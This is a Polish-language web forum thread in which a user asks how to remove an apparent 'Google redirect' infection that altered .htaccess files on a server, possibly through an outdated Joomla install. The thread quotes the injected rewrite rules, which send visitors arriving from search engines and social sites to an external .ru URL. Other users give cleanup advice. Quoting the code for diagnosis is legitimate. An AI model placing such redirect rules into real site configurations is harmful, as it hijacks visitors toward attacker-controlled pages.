Google redirect wirus

[S3ntin3l]

Witam

Kolega ma problem z wirusem, który kieruje na różne strony przy wejściach z Google. Podobno zaatakował wszystkie pliki htaccess na wszystkich stronach serwera. Z tego co się orientuję to kolega nie trzymał haseł w kliencie ftp.

Miał ktoś może do czynienia z takim przypadkiem? Skąd się bierze taki wirus i jak można się go pozbyć? Czy coś takiego mogło się wziąć przez nieaktualizowaną przez kilka lat joomlę? Po usunięciu go z htaccess, problem nadal się pojawia.

Fragment kodu .htaccess:

RewriteCond %{HTTP_REFERER} ^.*(google|ask|yahoo|baidu|youtube|wikipedia|qq|excite|altavista|msn|netscape|ao
l|hotbot|goto|infoseek|mamma|alltheweb|lycos|search|metacrawler|bing|dogpile|fac
e
book|twitter|blog|live|myspace|mail|yandex|rambler|ya|aport|linkedin|flickr|nigm
a
|liveinternet|vkontakte|webalta|filesearch|yell|openstat|metabot|nol9|zoneru|km|
g
igablast|entireweb|amfibi|dmoz|yippy|search|walhello|webcrawler|jayde|findwhat|t
e
oma|euroseek|wisenut|about|thunderstone|ixquick|terra|lookle|metaeureka|searchsp
o
t|slider|topseven|allthesites|libero|clickey|galaxy|brainysearch|pocketflier|ver
y
goodsearch|bellnet|freenet|fireball|flemiro|suchbot|acoon|cyber-content|devaro|fastbot|netzindex|abacho|allesklar|suchnase|schnellsuche|shareloo
k|sucharchiv|suchbiene|suchmaschine|web-archiv)\.(.*)							  
						 RewriteRule ^(.*)$ https://sed-xan.ru/in.cgi?5 [R=301,L]

[lament]

Przyczyn może być na prawdę bardzo wiele. Nie aktualizowanie Joomli, jak wspomniałeś to przede wszystkim. Jeżeli już posiadacie Joomlę to trzeba liczyć się z ciągłymi problemami. Kiedyś miałem podobny przypadek, zdaje się, że musisz poszukać jeszcze w plikach strony problemu.

[mental]

Zobacz na serwerze jakie pliki zostały ostatnio modyfikowane. Jeżeli będzie to kilka plików, to albo nadgraj je z backupa, albo oczyść, albo wrzuć świeże pliki.

Aktualizacja Joomli obowiązkowa! To jest publiczne oprogramowanie, więc niestety prędzej czy później zostaje ono złamane.